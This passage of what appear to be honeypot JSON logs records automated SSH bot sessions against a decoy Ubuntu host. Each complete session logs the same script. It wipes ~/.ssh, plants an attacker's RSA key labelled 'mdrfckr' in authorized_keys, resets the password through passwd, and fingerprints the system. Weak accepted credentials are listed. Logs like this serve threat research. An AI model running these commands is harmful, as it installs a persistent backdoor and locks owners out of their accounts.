Processor"},{"seq":9,"at":"2026-08-27T12:42:24.511087+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:42:25.796173+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:42:26.248162+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:42:27.326332+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:42:27.775917+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:42:28.582240+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:42:29.040857+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:42:29.701013+00:00","kind":"output","latency_ms":null,"data":" 12:42:29 up 7 days, 9:32, 0 user, load average: 0.16, 0.12, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:42:30.150045+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:42:30.723450+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:42:31.171349+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:42:31.673194+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:42:32.118994+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:42:32.886180+00:00","kind":"output","latency_ms":null,"data":"top - 12:42:32 up 7 days, 9:32, 0 user, load average: 0.16, 0.12, 0.1\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:42:33.333598+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:42:33.585817+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:42:34.035392+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:42:34.498467+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:42:34.947261+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:42:35.643472+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-27T12:42:36.094080+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:42:37.462061+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:42:37.913135+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:42:39.299632+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"user1123","method":"password","accepted":true,"tier":"other"}]} {"id":"620f9d87-abf7-409c-8e49-4ac4e633c6cd","name":"jaunty-wistful-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47640,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":289,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:41:57.495597+00:00","ended_at":"2026-08-27T12:41:59.208027+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:41:40.531028+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:41:40.818622+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:41:44.164816+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:41:45.061197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:41:45.352880+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1233218613\\nVp09d1Vwkbc5\\nVp09d1Vwkbc5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:41:45.642185+00:00","kind":"input","latency_ms":null,"data":"echo \"1233218613\\nVp09d1Vwkbc5\\nVp09d1Vwkbc5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:41:45.932793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:41:46.744417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:41:47.034123+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:41:48.150267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:41:48.443631+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:41:49.428569+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:41:49.719104+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:41:50.434817+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:41:50.724061+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:41:51.285430+00:00","kind":"output","latency_ms":null,"data":" 12:41:51 up 7 days, 9:31, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:41:51.576077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:41:51.877464+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:41:52.165943+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:41:52.502512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:41:52.792092+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:41:53.274763+00:00","kind":"output","latency_ms":null,"data":"top - 12:41:53 up 7 days, 9:32, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:41:53.563224+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:41:53.931635+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:41:54.220440+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:41:54.746047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:41:55.035359+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:41:55.795919+00:00","kind":"output","latency_ms":null,"data":"admin1"},{"seq":29,"at":"2026-08-27T12:41:56.082320+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:41:57.208159+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:41:57.496462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:41:59.124721+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin1","password":"1233218613","method":"password","accepted":true,"tier":"other"}]} {"id":"c574abd1-bd65-4620-886b-60c576ef5dea","name":"indigo-distant-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41254,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:41:52.190247+00:00","ended_at":"2026-08-27T12:41:54.311017+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:41:33.631011+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:41:33.958520+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:41:37.480737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:41:38.336333+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:41:38.665172+00:00","kind":"input","latency_ms":null,"data":"echo -e \"uno50\\n9ytrPaJ9kilO\\n9ytrPaJ9kilO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:41:38.990197+00:00","kind":"input","latency_ms":null,"data":"echo \"uno50\\n9ytrPaJ9kilO\\n9ytrPaJ9kilO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:41:39.318035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:41:39.832104+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:41:40.157718+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:41:41.519899+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:41:41.851653+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:41:43.296217+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:41:43.625014+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:41:44.400011+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:41:44.727695+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:41:45.137803+00:00","kind":"output","latency_ms":null,"data":" 12:41:45 up 7 days, 9:31, 0 user, load average: 0.13, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:41:45.469049+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:41:46.237624+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:41:46.571185+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:41:46.875387+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:41:47.201667+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:41:47.885124+00:00","kind":"output","latency_ms":null,"data":"top - 12:41:47 up 7 days, 9:31, 0 user, load average: 0.13, 0.15, 0.1\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:41:48.213251+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:41:49.007826+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:41:49.336349+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:41:49.997926+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:41:50.326682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:41:50.579311+00:00","kind":"output","latency_ms":null,"data":"uno50"},{"seq":29,"at":"2026-08-27T12:41:50.906841+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:41:51.865620+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:41:52.191046+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:41:54.213889+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"uno50","password":"uno50","method":"password","accepted":true,"tier":"other"}]} {"id":"355e851e-b9d3-416e-b759-5ab909a942b8","name":"gilded-vernal-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59782,"username":"vpnuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":447,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:40:00.259470+00:00","ended_at":"2026-08-27T12:40:01.293761+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T12:39:38.205909+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:38.657841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:44.039748+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:44.645105+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:45.094567+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nNIRx7t1KY04n\\nNIRx7t1KY04n\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:39:45.539853+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nNIRx7t1KY04n\\nNIRx7t1KY04n\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:39:45.982874+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:46.245845+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:46.694027+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:47.754432+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:48.202338+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:49.268016+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:49.715487+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:50.518643+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:50.980165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:51.809171+00:00","kind":"output","latency_ms":null,"data":" 12:39:51 up 7 days, 9:29, 0 user, load average: 0.27, 0.2, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:52.255618+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:53.041752+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:53.491168+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:54.001057+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:54.448171+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:55.299100+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:55 up 7 days, 9:30, 0 user, load average: 0.27, 0.2, 0.18\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:55.748255+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:56.553522+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:56.999558+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:57.262132+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:57.708692+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:58.048576+00:00","kind":"output","latency_ms":null,"data":"vpnuser"},{"seq":29,"at":"2026-08-27T12:39:58.500136+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:59.811477+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:40:00.260828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:40:01.155080+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"vpnuser","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"0df86da6-776d-413b-9b44-d14ed647b27c","name":"woven-solemn-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":46220,"username":"harsh","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:58.780008+00:00","ended_at":"2026-08-27T12:39:59.943418+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T12:39:29.494369+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:30.241754+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:37.707450+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:38.008878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:38.758114+00:00","kind":"input","latency_ms":null,"data":"echo -e \"harsh@123\\nfozvUUqyge4I\\nfozvUUqyge4I\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:39:39.500820+00:00","kind":"input","latency_ms":null,"data":"echo \"harsh@123\\nfozvUUqyge4I\\nfozvUUqyge4I\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:39:40.245133+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:40.856383+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:41.602346+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:42.968125+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:43.713910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:44.490683+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:45.244306+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:45.918517+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:46.676765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:47.419485+00:00","kind":"output","latency_ms":null,"data":" 12:39:47 up 7 days, 9:29, 0 user, load average: 0.3, 0.27, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:48.173345+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:49.020814+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:49.767399+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:50.493076+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:51.248062+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:52.095224+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:52 up 7 days, 9:29, 0 user, load average: 0.3, 0.27, 0.26\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 